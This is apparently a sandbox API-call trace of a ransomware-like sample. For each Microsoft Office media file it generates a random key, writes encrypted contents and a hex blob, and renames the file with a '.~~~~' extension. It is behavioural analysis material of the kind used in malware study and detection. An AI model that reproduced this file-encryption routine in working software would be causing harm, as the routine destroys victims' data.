	[0124.835] GetLastError () returned 0x0
	[0124.835] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0124.836] GetLastError () returned 0x0
	[0124.836] GetLastError () returned 0x0
	[0124.838] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xfffff89a, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0124.838] WriteFile (in: hFile=0x140, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x766, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x24dfec0*=0x766, lpOverlapped=0x0) returned 1
	[0124.840] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0124.840] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0124.841] WriteFile (in: hFile=0x140, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0124.841] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0124.841] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0124.841] CloseHandle (hObject=0x140) returned 1
	[0124.841] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c0098
	[0124.841] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293236.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0293236.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293236.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0293236.wmf.~~~~")) returned 1
	[0124.843] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3c0098 | out: hHeap=0x300000) returned 1
	[0124.843] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0124.843] GetLastError () returned 0x0
	[0124.843] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0124.844] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0124.844] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0124.845] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0124.845] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0124.845] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0124.845] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24483492465) returned 1
	[0124.845] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb3e03f50, dwHighDateTime=0x1d60e1e)) 
	[0124.845] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0124.845] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0124.845] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0124.845] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2820ad0
	[0124.845] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0124.845] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2820ad0 | out: hHeap=0x300000) returned 1
	[0124.845] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0124.845] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0124.845] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3f1570
	[0124.846] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0124.846] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c0130
	[0124.846] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3f1570 | out: hHeap=0x300000) returned 1
	[0124.846] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0124.846] GetLastError () returned 0x0
	[0124.846] GetLastError () returned 0x0
	[0124.846] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0124.846] GetLastError () returned 0x0
	[0124.846] GetLastError () returned 0x0
	[0125.012] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xfffff876, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0125.012] WriteFile (in: hFile=0x140, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x78a, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x24dfec0*=0x78a, lpOverlapped=0x0) returned 1
	[0125.013] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0125.018] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0125.018] WriteFile (in: hFile=0x140, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0125.018] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0125.018] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0125.018] CloseHandle (hObject=0x140) returned 1
	[0125.049] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bf2f0
	[0125.049] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293238.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0293238.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293238.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0293238.wmf.~~~~")) returned 1
	[0125.062] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bf2f0 | out: hHeap=0x300000) returned 1
	[0125.062] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0125.062] GetLastError () returned 0x0
	[0125.063] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0125.064] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0125.064] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0125.064] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0125.064] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0125.064] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0125.064] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24505442579) returned 1
	[0125.064] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb4019290, dwHighDateTime=0x1d60e1e)) 
	[0125.064] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0125.064] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0125.065] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0125.065] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2820bb0
	[0125.065] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0125.065] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2820bb0 | out: hHeap=0x300000) returned 1
	[0125.065] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0125.065] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0125.065] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3f1570
	[0125.065] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0125.065] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c01c8
	[0125.065] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3f1570 | out: hHeap=0x300000) returned 1
	[0125.065] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0125.065] GetLastError () returned 0x0
	[0125.066] GetLastError () returned 0x0
	[0125.066] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0125.066] GetLastError () returned 0x0
	[0125.066] GetLastError () returned 0x0
	[0125.071] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xfffff7ee, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0125.071] WriteFile (in: hFile=0x140, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0x812, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x24dfec0*=0x812, lpOverlapped=0x0) returned 1
	[0125.074] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0125.074] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0125.075] WriteFile (in: hFile=0x140, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0125.078] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0125.078] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0125.078] CloseHandle (hObject=0x140) returned 1
	[0125.078] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c01c8
	[0125.080] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293844.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0293844.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293844.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0293844.wmf.~~~~")) returned 1
	[0125.086] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3c01c8 | out: hHeap=0x300000) returned 1
	[0125.088] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0125.088] GetLastError () returned 0x0
	[0125.090] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0125.101] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0125.101] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0125.101] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0125.101] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0125.101] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0125.101] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24509111785) returned 1
	[0125.101] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb4065550, dwHighDateTime=0x1d60e1e)) 
	[0125.101] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0125.101] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0125.101] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0125.101] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2820be8
	[0125.101] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0125.101] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2820be8 | out: hHeap=0x300000) returned 1
	[0125.101] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0125.102] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0125.103] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3f1570
	[0125.103] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0125.103] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c0428
	[0125.103] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3f1570 | out: hHeap=0x300000) returned 1
	[0125.103] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0125.104] GetLastError () returned 0x0
	[0125.107] GetLastError () returned 0x0
	[0125.107] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0125.107] GetLastError () returned 0x0
	[0125.107] GetLastError () returned 0x0
	[0125.113] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xffffd61b, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0125.113] WriteFile (in: hFile=0x140, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0x29e5, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x24dfec0*=0x29e5, lpOverlapped=0x0) returned 1
	[0125.116] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0125.116] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0125.116] WriteFile (in: hFile=0x140, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0125.116] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0125.116] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0125.116] CloseHandle (hObject=0x140) returned 1
	[0125.116] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c0428
	[0125.116] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0295241.GIF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0295241.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0295241.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0295241.gif.~~~~")) returned 1
	[0125.118] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3c0428 | out: hHeap=0x300000) returned 1
	[0125.118] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0125.118] GetLastError () returned 0x0
	[0125.119] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0125.120] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0125.120] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0125.120] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0125.120] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0125.120] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0125.120] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24511014587) returned 1
	[0125.120] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb408b6b0, dwHighDateTime=0x1d60e1e)) 
	[0125.120] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0125.349] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0125.349] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0125.349] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2a3db50
	[0125.349] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0125.349] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a3db50 | out: hHeap=0x300000) returned 1
	[0125.349] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0125.349] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0125.349] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3f1570
	[0125.349] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0125.349] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c0000
	[0125.349] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3f1570 | out: hHeap=0x300000) returned 1
	[0125.349] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0125.350] GetLastError () returned 0x0
	[0125.350] GetLastError () returned 0x0
	[0125.350] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0125.350] GetLastError () returned 0x0
	[0125.350] GetLastError () returned 0x0
	[0125.353] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xffff32ae, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0125.353] WriteFile (in: hFile=0x140, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0xcd52, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x24dfec0*=0xcd52, lpOverlapped=0x0) returned 1
	[0125.372] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0125.372] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0125.373] WriteFile (in: hFile=0x140, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0125.373] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0125.373] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0125.373] CloseHandle (hObject=0x140) returned 1
	[0125.373] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c0000
	[0125.373] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0297185.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0297185.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0297185.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0297185.wmf.~~~~")) returned 1
	[0125.394] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3c0000 | out: hHeap=0x300000) returned 1
	[0125.406] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0125.406] GetLastError () returned 0x0
	[0125.439] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0125.449] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0125.450] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0125.450] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0125.450] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0125.450] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0125.450] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24543990882) returned 1
	[0125.450] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb43d14f0, dwHighDateTime=0x1d60e1e)) 
	[0125.450] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0125.450] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0125.450] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0125.450] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2820de0
	[0125.450] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0125.450] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2820de0 | out: hHeap=0x300000) returned 1
	[0125.450] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0125.450] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0125.450] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3f05b0
	[0125.450] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0125.451] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c08e8
